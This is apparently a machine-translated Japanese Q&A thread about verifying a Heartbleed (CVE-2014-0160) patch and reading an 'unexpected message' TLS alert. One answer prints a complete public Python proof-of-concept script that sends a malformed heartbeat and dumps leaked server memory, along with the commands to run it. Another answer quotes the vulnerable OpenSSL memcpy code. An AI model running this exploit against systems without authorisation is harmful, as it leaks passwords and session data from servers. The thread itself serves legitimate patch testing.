web-dev-qa-db-ja.com

ハートブリード「予期せぬメッセージ」

Heartbleed攻撃に対処する当社のソフトウェアパッチを検証するタスクがあります。

今、私が悪用しようとしているソフトウェアのバージョンは1.0.1e OpenSSLライブラリを使用していると確信していますが、これは脆弱であるはずです。しかし、私は複数のHeartbleedテストツールを試しましたが、それらはすべて、応答にエラーがあり、私のアプリはおそらく脆弱ではないと言っています。

テスト中に、 CardiacArrest ツールが返されました：

[INFO] Connecting to 10.63.62.79:443 using TLSv1.2
[INFO] Sending ClientHello
[INFO] ServerHello received
[INFO] Sending Heartbeat
[INFO] The server received an alert. It is likely not vulnerable.
[INFO] Alert Level: fatal
[INFO] Alert Description: Unexpected message (see RFC 5246 section 7.2)
[INFO] Closing connection

RFC 5264 を調べたところ、「予期しないメッセージ」に関する詳細情報が見つかりました。

unexpected_message
不適切なメッセージを受信しました。このアラートは常に致命的であり、適切な実装間の通信では決して観察されるべきではありません。

質問：

  • 誰かがこの結果についてもう少し光を当てることができますか？
  • OpenSSLはHeartbeat拡張子なしでコンパイルできたでしょうか？
  • OpenSSLにコンパイルされた拡張機能を一覧表示する方法はありますか？

どうもありがとう！

opensslheartbleed
6
Jovan Perovic

まず、Heartbleedはプロセスメモリ（一度に64kB）をスキャンできることが実証されているため、非常に深刻です。それがなくても、表示されるデータは、パスワード、セッショントークン、その他の多くのものを簡単に公開します（特に、私が見てきたPHPアプリケーションの場合）。

HearbleedはTLS1.1および1.2に影響するため、テストする場合はそれを指定する必要があることに注意してください。 （SSLバージョンを制限することが有用な緩和策であるかどうかはわかりません。パッチを適用して置き換えるのが最善です）

この場合、不明なメッセージは、ピアで適切でない（またはサポートされていない）オプションを要求したことを意味している可能性があります。 TLS 1.2を指定しない場合、これが発生する可能性があります。

JaredStaffordによって作成された小さなPythonツールを使用しました。watchを使用してこれを実行すると、何が表示されるかを確認できます。彼のWebサイトにはリストされていないので、私は以下に含めます。./heartbleed --port 443 --ver 2 SERVER_IPのようなものを使用して実行することをお勧めします

実行する方が便利だと思いました。

 ./heartbleed.py somewebserver.example.com -v2 | fgrep -v '................'

または：

./heartbleed.py somewebserver.example.com --port 443 -v 2 | grep 'server is vulnerable'

これを実証するためのパッチが適用されていないサーバーはありませんが、脆弱な場合は、見つかった資料の16進/ ASCIIダンプを取得します。 server is vulnerableメッセージも表示されます。

#!/usr/bin/python

# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected])
# The author disclaims copyright to this source code.
#
# -shirk added TLS version
# -jpicht added SMTP STARTTLS hack

import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
options.add_option('-s', '--smtp-starttls', action="store_true", dest="smtpstarttls", help='Issue SMTP STARTTLS command and wait for data')
options.add_option('-v', '--ver', type='int', default=1, help='TLS version 1 is 1.0, 2 is 1.1, 3 is 1.2 (default: 1)')

def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01
''')

hbv10 = h2bin('''
18 03 01 00 03
01 40 00
''')

hbv11 = h2bin('''
18 03 02 00 03
01 40 00
''')

hbv12 = h2bin('''
18 03 03 00 03
01 40 00
''')


def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
        print '  %04x: %-48s %s' % (b, hxdat, pdat)
    print

def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time()
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata


def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        print 'Unexpected EOF receiving record header - server closed connection'
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print 'Unexpected EOF receiving record payload - server closed connection'
        return None, None, None
    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay

def hit_hb(s):
    #s.send()
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print 'No heartbeat response received, server likely not vulnerable'
            return False

        if typ == 24:
            print 'Received heartbeat response:'
            hexdump(pay)
            if len(pay) > 3:
                print 'WARNING: server returned more data than it should - server is vulnerable!'
            else:
                print 'Server processed malformed heartbeat, but did not return any extra data.'
            return True

        if typ == 21:
            print 'Received alert:'
            hexdump(pay)
            print 'Server returned error, likely not vulnerable'
            return False

def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print 'Connecting...'
    sys.stdout.flush()
    s.connect((args[0], opts.port))

    if opts.smtpstarttls:
        print 'Sending STARTTLS...'
        sys.stdout.flush()
        s.send("STARTTLS\n")
        print 'Waiting for reply...'
        sys.stdout.flush()
        recvall(s, 100000, 1)

    print 'Sending Client Hello...'
    sys.stdout.flush()
    s.send(hello)
    print 'Waiting for Server Hello...'
    sys.stdout.flush()
    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            print 'Server closed connection without sending Server Hello.'
            return
        # Look for server hello done message.
        if typ == 22 and ord(pay[0]) == 0x0E:
            break

    print 'Sending heartbeat request...'
    sys.stdout.flush()
    if (opts.ver == 1):
        s.send(hbv10)
        hit_hb(s)
    if (opts.ver == 2):
        s.send(hbv11)
        hit_hb(s)
    if (opts.ver == 3):
        s.send(hbv12)
        hit_hb(s)


if __name__ == '__main__':
    main()
1
Cameron Kerr

脆弱なOpenSSLライブラリを使用するすべての製品が自動的にHeartbeatに対して脆弱であるとは限りません。これはSSL/TLS層のバグであり、コア暗号コードのバグではありません。それはすべて、製品がライブラリをどのように使用しているかによって異なります。

バグ自体は、宣伝されているほど深刻ではありません。バグは、送信バッファーに続くプログラムのメモリの64KBチャンクを送り返すためです。このチャンクには、機密データが含まれる場合と含まれない場合があります。そして、そのようなデータが含まれている場合でも、ハッカーはそれを周囲のゴミから隔離する必要があります。

脆弱なOpenSSLライブラリを使用しているが、そのエラー状態（バグから保護するバグ）を誤って処理しているという理由だけで、それ自体は脆弱ではない製品がかなりあります。あなたの製品はそれらの1つかもしれません。

Wiresharkなどのラインスニファをインストールし、ハートビートメッセージパッケージとその応答を確認する必要があります。答えが非常に長く、64KBに近い場合、製品は脆弱です。それが短い場合、それがどんなに間違っていても、あなたは脆弱ではありません。

もちろん、最善の解決策はOpenSSLライブラリにパッチを適用することです。

ハートブリード情報

このバグの適切な説明は、記事 OpenSSLのHeartbleedの構造 ：にあります。

Heartbleed

バグの原因となるOpenSSLのCコードは次のとおりです。

/* Enter response type, length and copy payload */
*bp++ = TLS1_HB_RESPONSE;
s2n(payload, bp);
memcpy(bp, pl, payload);

このコードは、memcpy呼び出し（メモリコピー関数）の前に変数ペイロードを簡単にチェックすることで修正されます。

構築されたメッセージに続く64KBのみが送信されます。メッセージ自体は、おそらく関数malloc（）によってメモリに割り当てられるため、常に同じアドレスに配置されるとは限りません。ただし、抽出できるデータには制限があります。

これは、このバグを介してプロセスメモリ全体を読み取ることについての話は、恐ろしい話にすぎないことを意味しますが、攻撃者は運が良ければ非常に機密性の高いデータを取得できます。それはすべて、攻撃された製品がどのようにプログラムされたか、およびその正確なメモリレイアウトに依存します。

2
harrymc